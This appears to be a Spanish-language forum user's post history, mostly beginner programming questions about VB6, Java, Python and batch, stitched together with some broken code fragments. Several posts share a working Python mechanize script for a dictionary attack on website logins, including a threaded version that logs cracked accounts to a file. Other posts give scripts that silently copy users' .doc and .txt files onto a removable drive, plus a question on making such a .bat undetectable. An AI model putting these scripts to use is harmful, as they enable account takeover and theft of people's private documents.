            text_file1.write("cuentas: %s "   " usuario:%s password:%s  \n" % (e,li,lin)  )
            text_file1.close()

el problema esta en los outpot file cuando tiene que guardarlos no guarda nada alguien sabe por que, tengo desabilitado el uac tambien si me pudieran ayudar gracias

alguien me podria ayudar ,miren
el programa lo que hace es cargar la imagen en este caso una muestra de bacterias
pasarla a escala de grises y despues contar pixel por pixel y si es negro lo almacene en una lista y contarlos


el problema que tengo es este


supongamos que ya conte el pixel negro de esa bacteria que esta apuntada con la flecha roja como le hago para saltarme esa bacteria y ya no contar los pixeles negros de esa bacteria ayuda porfavor me pueden dar ideas es java pero no importa en que lenguaje me puedan ayudar o plantearme una idea para hacerla

asdasdasd

 

Código [Seleccionar] Expandir

  patterns = [ 25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 ]
   respuesta=br.response().read()
   for pattern in patterns:
      if re.search(pattern,  respuesta):
         print  li + ":" + lin +'no'
      else:
         print  (li + ":" + lin + 'si')
         r = br.open(url3)

alguien me puede dar una idea para que una expresion regular revise en la pagina si ay un numero por ejemplo del 25 al 50  y si ay que imprima no de lo contrario si es mayor a esos numeros imprima si

si alguien me pudiera ayudar gracias me estoy rompiendo la cabeza de como hacerlo no me doy una idea

Código (python) [Seleccionar] Expandir

import mechanize
from threading import *
import time
import os

archivo1= open ('lista1.txt')
archivo = open ('lista.txt')

def brute(url2,li,lin):
   try:
       br = mechanize.Browser()
       url3= "paginaweblogout"
       url2=url2
       r = br.open(url2)
       br.select_form(nr=1)
       br.form["name"]= li
       br.form["pass"] = lin
       br.submit()
     
           r = br.open(url3)
           text_file = open("Output.txt", "a")
           text_file.write("cuenta: %s  password: %s\n" % (li,lin))
           text_file.close()
         
       else:
           print  li + ":" + lin +'no'
   except:pass

count = 0    
thrdlst = []
url2= "paginaweblogin"
for li,lin in zip(archivo.read().split('\n'),archivo1.read().split('\n')):
 
   t.start()
   
   thrdlst.append(t)
   time.sleep(0.210)
   print count
for b in thrdlst:
   b.join()


tengo un problema por que no termina todo el proceso de la lista de 2600 palabras
solo hace 1200 palabras y se para y no continua
sera algun problema con el zip del for ? que solo se cumple la mitad ? ayuda please

si me pudieran decir como obtener los datos de un solo de bloc de notas por ejemplo asi
cuenta:cuenta
cuenta1:cuenta1

tipo hydra es que talvez sea eso

Código [Seleccionar] Expandir

#include <Inet.au3>          ; Liberia para obtener archivos de internet, en este caso el codigo fuente de la url
#include <Array.au3>         ; Array para almacenar nuestros datos, cada dato incluira una posicion
#include <String.au3>        ; Funciones para el manejo de Strings
#include <File.au3>          ; Guardar y Escribir archivos.

$contador = 0               

while $contador < 14         

if $contador = 0 Then   

local $url = _InetGetSource('http://xd.com')  ; Url de la portada

Else
local $url = _InetGetSource('xd.com' & '/page/' & $contador & '/')
EndIf

local $aArray1    ; Declaramos el Array dodne vamos a guardar los datos

$aArray1 = _StringBetween ($url, '<h2>', '</h2>') ; Con esta funcion tomaremos los datos que esten entre '<h2>', '</h2>' .Ver Img2


$contador2 = 0  ;   Contador para los articulos

While $contador2 < 7  ; Este contador limita a 7, que son los articulos que se muestran por pagina


    $buffer = $aArray1 [$contador2] ; Añadimos el valor de la posicion $contador en el Array1 a $buffer

    $buffer = BinaryToString($buffer, 4) ; Esto lo hacemos porque muchas paginas tienen formato  charset=utf-8 -

Local $file  = FileOpen ("Enlaces.txt",1) ; Abrimos el archivo donde guardaremos los enlaces

  if $file = -1 Then
MsgBox (0, "Error", "No se puede abrir")
Exit
EndIf


FileWriteLine($file, $buffer) ; Escribimos los enlaces en una linea del archivo

FileClose($file)

$contador2 = $contador2 + 1 ; Aumentamos el contador para seguir recorriendo el Array que contiene los enlaces

WEnd

$buffer = $aArray1 &[$contador2]
$buffer = $aArray1 &^ ERROR
>Exit code: 1
$contador +=  1 ; Aumentamos el contador para visitar
WEnd


por que me marca un error en esta parte me tiene loco ;S

Código [Seleccionar] Expandir

$buffer = $aArray1 [$contador2] ; Añadimos el valor de la posicion $contador en el Array1 a $buffer

    $buffer = BinaryToString($buffer, 4)


(28) : ==> Subscript used on non-accessible variable.:


si me pueden ayudar gracias

me podrian dar una idea de como generar codigo atravez de un lenguaje de programacion ,ejemplo game maker que con solo picar botones se genere codigo o algun editor html, como se hace eso ? si me pudieran explicar muchisimas gracias

por que no puedo usar operaciones en resultados de formulas

Código [Seleccionar] Expandir

=SI(I13<K3;"se acepta que los datos tienen una distribucion uniforme";"se rechaza que los datos tienen una distribucion uniforme")

se supone que deberia de hacer la comparacion pero no funciona

lo raro es que si funciona si las celdas no tienen formulas pero yo ocupo que si esten las formulas aqui esta el archivo de excel aver si me pueden ayudar gracias

http://www51.zippyshare.com/v/7FvduB0M/file.html

Código [Seleccionar] Expandir

Text1 = 5 / 5 - 0.94
por que en vez de que el resultado sea 0.06
da 6,00000000000001E-02 , no se puede corregir esto ? agradeceria mucho que me ayudaran

Código (python) [Seleccionar] Expandir

valor = input ('Ingrese cantidad a repetir: ')
valor1 = 2160

# se inicia el ciclo
for i in range(0,valor):
   
   #se eleva al cuadrado
   cuadrado=valor1** 2
   # se guarda en otra variable llamada elevado
   elevado=cuadrado
   #se mide el tamaño
   tamano=len(str(elevado))
   if tamano==7:
       elevado1= "0" + str(elevado)
   if tamano==6:
       elevado= "00" + str(elevado)
   if tamano==5:
       elevado1= "000" + str(elevado)
   if tamano==4:
       elevado1= "0000" + str(elevado)
   if tamano==5:
       elevado1= "000" + str(elevado)
   if tamano==4:
       elevado1= "0000" + str(elevado)
   if tamano==3:
       elevado1= "00000" + str(elevado)
       #se acorta
   xd = elevado1[2:-2]
  #se convierte a numero
   lol=int(xd)
   #se eleva al cuadrado
   xad=lol** 2
   valor1=xad
   print  xd
   

espero y me puedan ayudar se supone que en cada vuelta tiene que agarrar el valor elevado al cuadrado y acortarlo e imprimirlo
pero lo unico que hace es repetir el mismo valor inicial :S

necesito ayuda con esto miren

Código [Seleccionar] Expandir

With Picture1


      .Picture = LoadPicture("C:\xd.jpg")
      .Font.Name = " Verdana"
        .Font.Size = 7
        .ForeColor = vbRed
 
        .AutoRedraw = True
          .CurrentX = 100
          .CurrentY = 100
        Picture1.Print " Hola Mundo "
         
        .Picture = Picture1.Image
         
     End With
     
    SavePicture Picture1, "c:\ejemplo.jpg"
     
    MsgBox " jpg salvado en c: ", vbInformation

ay alguna forma de que con un ciclo for cargue todas las imagenes de una carpeta y que 1 por 1 vaya escribiendoles ese mensaje y guardandolas ? me podrian dar una idea gracias e estado leyendo que se puede hacer con filesystemobject pero no entiendo agradezco la ayuda

o si alguien conoce una forma mas simple me la podria decir gracias

por que al usar la aplicacion desde vb6 corre bien pero al momento de usarla sin vb6 se traba creo que el problema es en los listbox ayuda

aqui esta el source aver si alguien me puede decir por que ç:S

http://www15.zippyshare.com/v/21348220/file.html

ya vi donde es el error es que si no escribo en los otros cuadros de texto no funciona
ay alguna forma de que sirva sin escribir en los otros cuadros de texto ?

Código [Seleccionar] Expandir

#include<stdio.h>

void main()

{

printf("Datos de la Matriz A :\n");
           
int i,j,k;

int matriz [3][3];
    int matriz1 [3][3];   
     int c [3][3];
       
              for(i=0;i<=2;i++){
             for (j=0;j<=2;j++){
                 printf("Escribir valor %d en %d:",i,j);
                 scanf("%d",&matriz[i][j]);
                }
            }
                 printf("Datos de la Matriz B :\n");
           
            for (i=0; i<=2; i++){
             for (j=0; j<=2; j++){
                  printf("Escribir valor %d en %d:",i,j);
                scanf("%d",&matriz1[i][j]);
                }
            }
                   for (i=0; i<=2; i++){
   for (j=0; j<=2; j++){
   c[i][j]=0;
   for (k=0; k<=2; k++){
               
c[i][j]=c[i][j]+(matriz[i][k]*matriz1[k][j]);
                 
        }
    }
}
           
       
                   printf("Matriz resultante  :");

    for (i=0;i<=2;i++){
    printf("\n");
            for (j=0;j<=2;j++) {
             
                printf(" %d\t",c[i][j]);
                 }
                  }
             
                 printf("\n");
           
         
           
    }

alguien que me pueda ayudar a comprender esta parte

Código [Seleccionar] Expandir

for (i=0; i<=2; i++){
   for (j=0; j<=2; j++){
   c[i][j]=0;
   for (k=0; k<=2; k++){
               
c[i][j]=c[i][j]+(matriz[i][k]*matriz1[k][j]);

que hace k ? por que no solo i y j  podrian explicarme esta parte

alguien podria darme una idea de como hacerlo , ojo no estoy pidiendo codigo e tratado con ciclos if pero no funciona como yo quiero ejemplo

tengo este oracion
el señor panfilo anacleto me pidio prestado 2000 y me  quedo a deber con pagare

quiero que tome la palabra prestado y la palabra pagare

y yo mediante esas palabras deducir que prestado seria un deudor diverso y la palabra pagare es un documento por pagar

en lo unico que pido que me orienten es como aria para usar varios if al mismo tiempo para verificar la oracion xD o si ay alguna mas facil gracias

Código [Seleccionar] Expandir

Private Sub Command1_Click()
If Text1 = "prestado" Then
If Text1 = "pagare" Then
label1.Caption = "incluye deudores diversos y documentos por pagar"
End Sub
quiero que de esa oracion que puse arriba extraiga las palabras pero no me doy una idea :S

Código [Seleccionar] Expandir

 System.out.println("Datos de la Matriz A :");
                   
        for (i=0; i<=2; i++){
            for (j=0; j<=2; j++){
                System.out.print("Escribir valor " + i + " , " + j + " : ");
                a [i][j]= entrada.nextInt();
               }
           }
                System.out.println("Datos de la Matriz B :");
           
           for (i=0; i<=2; i++){
            for (j=0; j<=2; j++){
                System.out.print("Escribir valor " + i + " , " + j + " : ");
                b [i][j]= entrada.nextInt();
               }
           }
            for (i=0; i<=2; i++){
            for (j=0; j<=2; j++){
           
                for (k = 0; k <=2; k++) {
                     for (k = 0; k <=2; k++) {
                   c[i][j] += a[i][k] * b[k][j];
                     }
                }
            }
            }
     
                   
                     
                 
               
                   System.out.println("Matriz resultante de la operacion :");
   for (i=0;i<=2;i++){
           for (j=0;j<=2;j++) {
               System.out.print(c[i][j] + " ");
           }
           System.out.println("");
           
   }
     }
               
   }
}


alguien seria tan amable de ayudar con el ciclor for en java  como funciona que hace no comprendo muy bien el for si alguien me ayudara a comprenderlo estaria muy agradecido

aqui les traigo un script que hace ataque diccionario a paginas solo tienes que descargar la libreria mechanize.
acepto sugerencias en como lo puedo mejorar
lo unico que se modifica en el script es la
url,url3  ,br.form["account_login"]= li,br.form["password_login"] = lin,  if(respuesta.find("mensaje de bienvenida al logiar")

Código [Seleccionar] Expandir

import mechanize
import cookielib


br = mechanize.Browser(factory=mechanize.RobustFactory())

cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)

url = "url web donde se logea"
url3= "url que hace el logout"
archivo1= open ('lista1.txt')
archivo = open ('lista.txt')

br.set_handle_robots(False)
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.set_debug_redirects(True)
br.set_debug_responses(True)
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)

for li,lin in zip(archivo.read().split('\n'),archivo1.read().split('\n')):

   r = br.open(url)
   br.select_form(nr=0)
   br.form["account_login"]= li
   br.form["password_login"] = lin
   br.submit()
   respuesta=br.response().read()
   if(respuesta.find("mensaje de bienvenida al logiar") > 0):
      print  (li + ":" + lin + 'si')
      r = br.open(url3)
   else:
      print  li + ":" + lin +'no'
     


ay alguna forma de que los valores señalados con la flecha aparescan donde esta la v
o en el ultimo valor agregado ,es que eso es una regla de contabilidad , lo se existe excel pero por que no hacerlo en vb6



si alguien me pudiera ayudar gracias


este es el codigo de una caja de texto

Código [Seleccionar] Expandir

Private Sub Text43_Change()
If IsNumeric(Text43) Then
Guarda = Val(Text43) + Val(Text44) + Val(Text45) + Val(Text46) + Val(Text47) + Val(Text48) + Val(Text49) + Val(Text50)
End If

Text83.Text = Format(Text43, "$ #,##0.00")
Text130 = Format(Guarda, "$ #,##0.00")
End Sub

lo que hace es que va ir sumando cada valor  y dejarlo en el total pero yo quiero que aparezca en el ultimo valor puesto y no asta el ultimo :S de antemano gracias solo denme ideas no necesito codigos :S

Código [Seleccionar] Expandir

class Principal(QtGui.QMainWindow):
    def __init__(self):
        QtGui.QMainWindow.__init__(self)
        self.ventana = Ui_MainWindow()
        self.ventana.setupUi(self)
        self.connect(self.ventana.pushButton,QtCore.SIGNAL('clicked()'), self.sumar)
    def sumar(self):
        self.ventana.lineEdit_3.setText(str(float(self.ventana.lineEdit.text()) + float(self.ventana.lineEdit_2.text())))

alguien me pueda explicar como funcionan los selfs y los this este codigo no es nada en particular solo quisiera saber que funcion tienen

Código [Seleccionar] Expandir

import mechanize
import cookielib
import sys
import codecs





br = mechanize.Browser()


cj = cookielib.LWPCookieJar()
br.set_cookiejar(cj)



mensaje= codecs.open ("mensaje.txt", "r", "iso-8859-1")



lol=mensaje.read().split('\n')

         

text_file = codecs.open("Output.txt", "w","iso-8859-1")
text_file.write(str(lol))
text_file.close()

el programa importa el archivo mensaje.txt que tiene acentos,ñ y varias cosas y luego lo guarda con el nombre outpot.txt pero lo guarda con caracteres raros unicode alguien podria ayudarme a solucionarlo

Espero y les sirva gracias a elektro que me ayudo en batch y me sirvio para hacerlo python

Código (python) [Seleccionar] Expandir

import glob #librerias
import shutil #librerias
import string,os #librerias
import os.path #librerias

user_profile = os.environ['USERPROFILE'] #se guarda en una variable  llamada user_profile la carpeta
# especial userprofile de windows

user_desktop = [user_profile + "\Escritorio",user_profile + "\Mis documentos",user_profile + "\Documents",user_profile + "\Desktop",'D:\\'] # en una lista #llamada user_desktop se guarda todas las ubicaciones de donde se copiaran las extensiones

ext = [ 'doc','txt']  # en una lista llamada ext se guardan las extensiones a copiar en este caso doc y txt  

uni = [ 'E','F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N'] #en una lista se guardan las unidades donde se copiaran las extensiones

for item in uni: # con un for recorro todas las unidades

     if os.path.isdir(str(item) + ":\data"): # con un if verifico si el patch es un directorio
   
       dest_dir =str(item) + ":\\data" #en la variable dest_dir se pone la ruta donde se copiaran todo en este caso item es la unidad y data seria la carpeta
       
       for exte in ext: #con un for recorro todas las extensiones a copiar
             for user in user_desktop: # con un for recorro todos los directorios de donde copiar
                   for file in glob.glob(str(user) + '\*.' + str(exte)): # con un for copio directorio/extension

                         print file
                         print dest_dir
                         print exte
                         shutil.copy(file, dest_dir) #shutil copia file a dest_dir


necesito ayuda con las carpetas especiales de windows (%userprofile&,%homedrive%)

bueno este es mi script copia del disco local c:\xd a cualquier unidad extraible que contenga la carpeta data, que este conectada ,las extensiones que copia son doc y txt  lo que quiero es que en vez de C:\ pueda utilizar un comando especial como %userprofile% pero no se sia sea posible en python en batch si es posible pero no se aqui alguien me pudiera decir como implementarlo aca en python

Código [Seleccionar] Expandir

import glob
import shutil
import string,os

import os.path

ext = [ 'doc','txt']     
uni = [ 'E','F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']
for item in uni:
   
      if os.path.isdir(str(item) + ":\data"):
   
        dest_dir =str(item) + ":\\data"
       
        for exte in ext:
         for file in glob.glob(r"C:\xd\*." + str(exte)):
            print file
            print dest_dir
            print exte
       
            shutil.copy(file, dest_dir)

Código [Seleccionar] Expandir

import glob
import shutil
import string,os



   
uni = ['D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N']
for item in uni:


   

for file in glob.glob(r'C:/*.doc'):
   print file                                                                                                                                        
   shutil.copy(file, dest_dir )


necesito algo de ayuda en este script de python ay alguna forma de dejarlo parecido a esto y si me pudieran ayudar gracias lo que quiero no es utilizar comandos de batch quiero que sea con puro python

Código [Seleccionar] Expandir

@echo off

SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"


FOR %%# IN (%DRIVES%) DO (If Exist "%%#:\" (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.txt DO (copy /y "%%a" "%%#:\data\")
FOR /R "%userprofile%\Documents\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")
FOR /R "%userprofile%\Escritorio\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")
FOR /R "%userprofile%\Desktop\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")
FOR /R "D:\" %%a IN (*.txt) DO (copy /y "%%a" "%%#:\data\")  
Rem etc...

)
)
Pause




si se pudiera hacer en ruby se los agradeceria mucho yo soy de los que aprendo viendo el codigo :S me interesa aprender ruby o python

por que se alenta asta al punto de trabarse no ay forma de quitar la lentitud o como puedo mejorar el codigo gracias

Código [Seleccionar] Expandir

@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Documents\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Desktop\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Escritorio\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "C:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))
FOR %%# IN (%DRIVES%) DO (FOR /R "D:\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))



al contrario si lo hago sin fors  es mucho mas rapido el proceso

Código [Seleccionar] Expandir

@echo off




REM -----------E-------------------
REM ARCHIVOS DOC WORD
copy "%userprofile%\Mis documentos\*.doc" "E:\data"
copy "%userprofile%\escritorio\*.doc" "E:\data"
copy "%userprofile%\Desktop\*.doc" "E:\data"
copy "%userprofile%\Documents\*.doc" "E:\data"
copy "C:\*.doc" "E:\data"
copy "D:\*.doc" "E:\data"


REM ARCHIVOS

REM ---------F--------------------
copy "%userprofile%\Mis documentos\*.doc" "F:\data"
copy "%userprofile%\escritorio\*.doc" "F:\data"
copy "C:\*.doc" "F:\data"
copy "D:\*.doc" "F:\data

REM -------G----------------

copy "%userprofile%\Mis documentos\*.doc" "G:\data"
copy "%userprofile%\escritorio\*.doc" "G:\data"
copy "C:\*.doc" "G:\data"
copy "D:\*.doc" "G:\data

REM -------H-----------

copy "%userprofile%\Mis documentos\*.doc" "H:\data"
copy "%userprofile%\escritorio\*.doc" "H:\data"
copy "C:\*.doc" "H:\data"
copy "D:\*.doc" "H:\data

REM ----------I--------

copy "%userprofile%\Mis documentos\*.doc" "I:\data"
copy "%userprofile%\escritorio\*.doc" "I:\data"
copy "C:\*.doc" "I:\data"
copy "D:\*.doc" "I:\data
REM ------------J----------

copy "%userprofile%\Mis documentos\*.doc" "J:\data"
copy "%userprofile%\escritorio\*.doc" "J:\data"
copy "C:\*.doc" "J:\data"
copy "D:\*.doc" "J:\data


REM -------------------K------------------

copy "%userprofile%\Mis documentos\*.doc" "K:\data"
copy "%userprofile%\escritorio\*.doc" "K:\data"
copy "C:\*.doc" "K:\data"
copy "D:\*.doc" "K:\data

REM -------------------L------------------

copy "%userprofile%\Mis documentos\*.doc" "L:\data"
copy "%userprofile%\escritorio\*.doc" "L:\data"
copy "C:\*.doc" "L:\data"
copy "D:\*.doc" "L:\data

REM -------------------W------------------

copy "%userprofile%\Mis documentos\*.doc" "W:\data"
copy "%userprofile%\escritorio\*.doc" "W:\data"
copy "C:\*.doc" "W:\data"
copy "D:\*.doc" "W:\data






necesito ayuda con esto porfavor

Código [Seleccionar] Expandir

@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%DRIVES%:\\data\")))

pause



lo que quiero es que copie todos los .doc de mis documentos a el drive con la carpeta data correspondiente si me puedieran ayudar muchisimas gracias

lo solucione gracias de todos modos si alguien se atora en esto el error estaba en esto   iba %%#:\  , no esto %DRIVES%:\

Código [Seleccionar] Expandir

@echo off
SET "DRIVES=B D E F G H I J K L M N O P Q R S T U V W X Y Z"
FOR %%# IN (%DRIVES%) DO (FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc)  DO  (copy /y "%%a" "%%#:\data\"))

pause



[Como funciona]

este programa sirve para realizar
Determinantes de 2X2 y 3X3
la matriz inversa por su adjunta
la traspuesta de una matriz
multiplicación escalar de una matriz
multiplicación matricial
resta matricial y suma matricial

Como funciona

[youtube=640,360]http://www.youtube.com/watch?v=X1ISjiWKaxc[/youtube]

aplicacion
https://www.firedrive.com/file/397D02F64EA3297E
source
https://www.firedrive.com/file/693004C96CA283F6

e decidido compartilo con este foro que me ayudado mucho en lo que es vb6 y batch

tengo una pequeña duda como proteger mi bat ? no ay otra forma que no sea con quick bath file compiler como podria dejar mas o menos indetectable mi bat

ay alguna forma de dejarlo indetectable ?

gracias

pues decidí compartir esta aplicación que hice en android  ,por que lamentablemente soy pobre para subirla al market jaja,no ya enserio espero y la disfruten
[youtube=640,360]https://www.youtube.com/watch?v=qpkRJODMc_I[/youtube]

http://www.firedrive.com/file/A3EABB4E5049890D

la verdad no se si sea la sección correcta pido a un moderador que la cambie si me  e equivocado

mas que nada es para que se basen y creen cosas mejores

el problema es que quiero que salga un solo signo no los 2 como podria hacerle para que solo aparezca un solo signo

es que
+ +=+
+ - =-
-- = +
-+ =-

me avian dicho que con valor absoluto pero no se como implementarlo alguien me podria hechar la mano de como acomodarlo

alguien que me explique como uso el ciclo for en este ejemplo
es que en netbeans el for es facil pero necesito saber como es la sinstaxis aqui en vb6

Código [Seleccionar] Expandir


a1 = Val(Text1)
a2 = Val(Text2)
a3 = Val(Text3)
b1 = Val(Text4)
b2 = Val(Text5)
b3 = Val(Text6)
c1 = Val(Text7)
c2 = Val(Text8)
c3 = Val(Text9)
a4 = 1
a5 = 0
a6 = 0
b4 = 0
b5 = 1
b6 = 0
c4 = 0
c5 = 0
c6 = 1
If a1 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
X1 = a1 / a1
X2 = a2 / a1
X3 = a3 / a1
X4 = 1 / a1
X5 = 0
X6 = 0
Y1 = b1 - b1 * X1
Y2 = b2 - b1 * X2
Y3 = b3 - b1 * X3
Y4 = 0 - b1 * X4
Y5 = 1 - b1 * X5
Y6 = 0 - b1 * X6
Z1 = c1 - c1 * X1
Z2 = c2 - c1 * X2
Z3 = c3 - c1 * X3
Z4 = 0 - c1 * X4
Z5 = 0 - c1 * X5
Z6 = 1 - c1 * X6
If X1 = 0 Or Y2 = 0 Or Z3 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
E1 = Y1 / Y2
E2 = Y2 / Y2
E3 = Y3 / Y2
E4 = Y4 / Y2
E5 = Y5 / Y2
E6 = Y6 / Y2
D1 = X1 - X2 * E1
D2 = X2 - X2 * E2
D3 = X3 - X2 * E3
D4 = X4 - X2 * E4
D5 = X5 - X2 * E5
D6 = X6 - X2 * E6
F1 = Z1 - Z2 * E1
F2 = Z2 - Z2 * E2
F3 = Z3 - Z2 * E3
F4 = Z4 - Z2 * E4
F5 = Z5 - Z2 * E5
F6 = Z6 - Z2 * E6
If D1 = 0 Or E2 = 0 Or F3 = 0 Then
MsgBox "ERROR NO TIENE INVERSA"
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text1.SetFocus
Else
I1 = F1 / F3
I2 = F2 / F3
I3 = F3 / F3
I4 = F4 / F3
I5 = F5 / F3
I6 = F6 / F3
G1 = D1 - D3 * I1
G2 = D2 - D3 * I2
G3 = D3 - D3 * I3
G4 = D4 - D3 * I4
G5 = D5 - D3 * I5
G6 = D6 - D3 * I6
H1 = E1 - E3 * I1
H2 = E2 - E3 * I2
H3 = E3 - E3 * I3
H4 = E4 - E3 * I4
H5 = E5 - E3 * I5
H6 = E6 - E3 * I6
Text10 = CStr(G4)
Text11 = CStr(G5)
Text12 = CStr(G6)
Text13 = CStr(H4)
Text14 = CStr(H5)
Text15 = CStr(H6)
Text16 = CStr(I4)
Text17 = CStr(I5)
Text18 = CStr(I6)
End If
End If
End If


End Sub

Private Sub Command2_Click()
Text1 = ""
Text2 = ""
Text3 = ""
Text4 = ""
Text5 = ""
Text6 = ""
Text7 = ""
Text8 = ""
Text9 = ""
Text10 = ""
Text11 = ""
Text12 = ""
Text13 = ""
Text14 = ""
Text15 = ""
Text16 = ""
Text17 = ""
Text18 = ""
Text1.SetFocus
End Sub

ay algun metodo o funcion que convierta todos los decimales de todos los textbox del programa en sus respectivas fracciones ? si me pudieran dar un ejemplo o decir como gracias

alguien seria tan amable de darme un ejemplo de matriz inversa gauss jordan en vb6
e visto mucho pero muchos no funcionan :S si me dieras un ejemplo estaria muy agradecido